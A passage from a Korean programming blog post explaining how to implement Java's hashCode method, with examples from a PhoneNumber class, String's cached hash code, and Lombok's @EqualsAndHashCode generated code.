그러나 위 코드는 areaCode가 같은 모든 객체는 같은 해시 코드를 가지게 되는데, 이는 해시 기반의 API를 사용할 때 끔찍한 결과를 가져올 것이다. areaCode가 같은 객체는 전부 같은 버킷에 해시되므로, 해시 테이블은 아주 긴 링크드 리스트가 많이 생기게 될 것이므로 원하는 성능이 나타나지 않는다.

 

따라서 hashCode의 세 번째 규약처럼 해시 코드가 꼭 다를 필요는 없지만, 해시 코드가 값이 다를수록 해시 테이블의 성능이 향상될 수 있다고 언급한 것이다.

 

hashCode 메서드 구현 순서

세 번째 규약에서 동일하지 않는 객체들끼리는 hashCode가 꼭 다를 필요는 없지만 다르면 성능적으로 좋다고 하였다. 서로 다른 객체들을 모든 가능한 해시 값에 균등하게 배분해야 하는데 수학자들이 그러한 이상적인 hashCode 메서드를 만드는 방법을 정의하였다.

 

  1. Create a int result and assign a non-zero value.
  2. For every field f tested in the equals() method, calculate a hash code c by:
    • If the field f is a boolean: calculate (f ? 0 : 1);
    • If the field f is a byte, char, short or int: calculate (int)f;
    • If the field f is a long: calculate (int)(f ^ (f »> 32));
    • If the field f is a float: calculate Float.floatToIntBits(f);
    • If the field f is a double: calculate Double.doubleToLongBits(f) and handle the return value like every long value;
    • If the field f is an object: Use the result of the hashCode() method or 0 if f == null;
    • If the field f is an array: see every field as separate element and calculate the hash value in a recursive fashion and combine the values as described next.
  3. Combine the hash value c with result:
    • result = 37 * result + c
  4. Return result

 

위 PhoneNumber에 구현 예제는 다음과 같다.

public class PhoneNumberWithHashCode {
	...

	@Override
	public int hashCode() {
		int result = 17;

		result = 31 * result + areaCode;
		result = 31 * result + prefix;
		result = 31 * result + lineNumber;

		return result;
	}

}

 

PhoneNumber는 필드가 세 개뿐이므로 해시 코드 값을 계산하는데 비용이 크지 않다. 하지만 해시 코드 계산 비용이 높은 클래스를 만들 때는 필요할 때마다 해시 코드를 재계산하는 대신 객체 안에 캐시 해 두어야 할 수도 있다. 우리가 자주 사용하는 String 클래스의 코드를 보자.

 public final class String
    implements java.io.Serializable, Comparable<String>, CharSequence {
    /** The value is used for character storage. */
    private final char value[];

    /** Cache the hash code for the string */
    private int hash; // Default to 0

	...
 	
	public int hashCode() {
        int h = hash;
        if (h == 0 && value.length > 0) {
            char val[] = value;

            for (int i = 0; i < value.length; i++) {
                h = 31 * h + val[i];
            }
            hash = h;
        }
        return h;
    }

 

String 클래스의 hashCode는 글자의 길이만큼 반복이 발생하면서 hashCode 값을 계산한다. 아주 긴 문자열이라면 해시 코드를 계산하는데 비용이 크므로 String 클래스는 해시 코드를 계산한 후 캐싱해서 사용한다.

 

다만, 이렇게 캐시를 사용할 경우에는 변경 불가능 클래스여야 한다. 왜냐하면 중요 필드가 변경될 경우, 해시값도 달라져야 하는데 캐시를 해두고 위 로직처럼 한다면 동일한 해시값을 계속 반환하기 때문이다.

 

해시 코드를 구현할 때 주의할 점은 객체의 중요한 변수를 일부 빼고 해시 코드를 계산하면 문제가 발생할 수 있다. JDK 1.2 이전의 String의 hashCode는 문자열의 첫 번째 문자부터 일정 간격으로 열두 개 문자를 추출해서 해시 값을 계산했다. 추출한 12개의 문자들이 같은 경우가 많을 경우에는 해시 테이블이 끔찍한 성능을 보였다.

 

equals, hashCode를 자동으로 생성해주는 라이브러리

규칙 2에서 builder 패턴을 쉽게 생성해주는 lombok에 대해서 간단하게 설명했다. 마찬가지로 equals와 hashCode는 구현은 쉽지만 작성하기 귀찮으며 코드의 양이 많아져 보기가 싫다.

 

따라서 lombok에서는 equals와 hashCode에 대해서도 어노테이션을 제공한다.

@EqualsAndHashCode
public class EqualsAndHashCodeExample {
	private transient int transientVar = 10;
	private String name;
	private double score;
	@EqualsAndHashCode.Exclude
	private Shape shape = new Square(5, 10);
	private String[] tags;
	@EqualsAndHashCode.Exclude
	private int id;
}

 

@EqualsAndHashCode.Exclude를 사용하여 equals와 hashCode에서 배제할 필드를 선택할 수 있다.

 

아래는 최종적으로 생성되는 코드이다.

public class EqualsAndHashCodeExample {
	private transient int transientVar = 10;
	private String name;
	private double score;
	private Shape shape = new Square(5, 10);
	private String[] tags;
	private int id;

	public String getName() {
		return this.name;
	}

	@Override
	public boolean equals(Object o) {
		if (o == this) {
			return true;
		}
		if (!(o instanceof EqualsAndHashCodeExample)) {
			return false;
		}
		EqualsAndHashCodeExample other = (EqualsAndHashCodeExample) o;
		if (!other.canEqual(this)) {
			return false;
		}
		if (this.getName() == null ? other.getName() != null : !this.getName().equals(other.getName())) {
			return false;
		}
		if (Double.compare(this.score, other.score) != 0) {
			return false;
		}
		if (!Arrays.deepEquals(this.tags, other.tags)) {
			return false;
		}
		return true;
	}

	@Override
	public int hashCode() {
		final int PRIME = 59;
		int result = 1;
		final long temp1 = Double.doubleToLongBits(this.score);
		result = (result * PRIME) + (this.name == null ? 43 : this.name.hashCode());
		result = (result * PRIME) + (int) (temp1 ^ (temp1 >>> 32));
		result = (result * PRIME) + Arrays.deepHashCode(this.tags);
		return result;
	}

	protected boolean canEqual(Object other) {
		return other instanceof EqualsAndHashCodeExample;
	}
}

 

반응형

+ Recent posts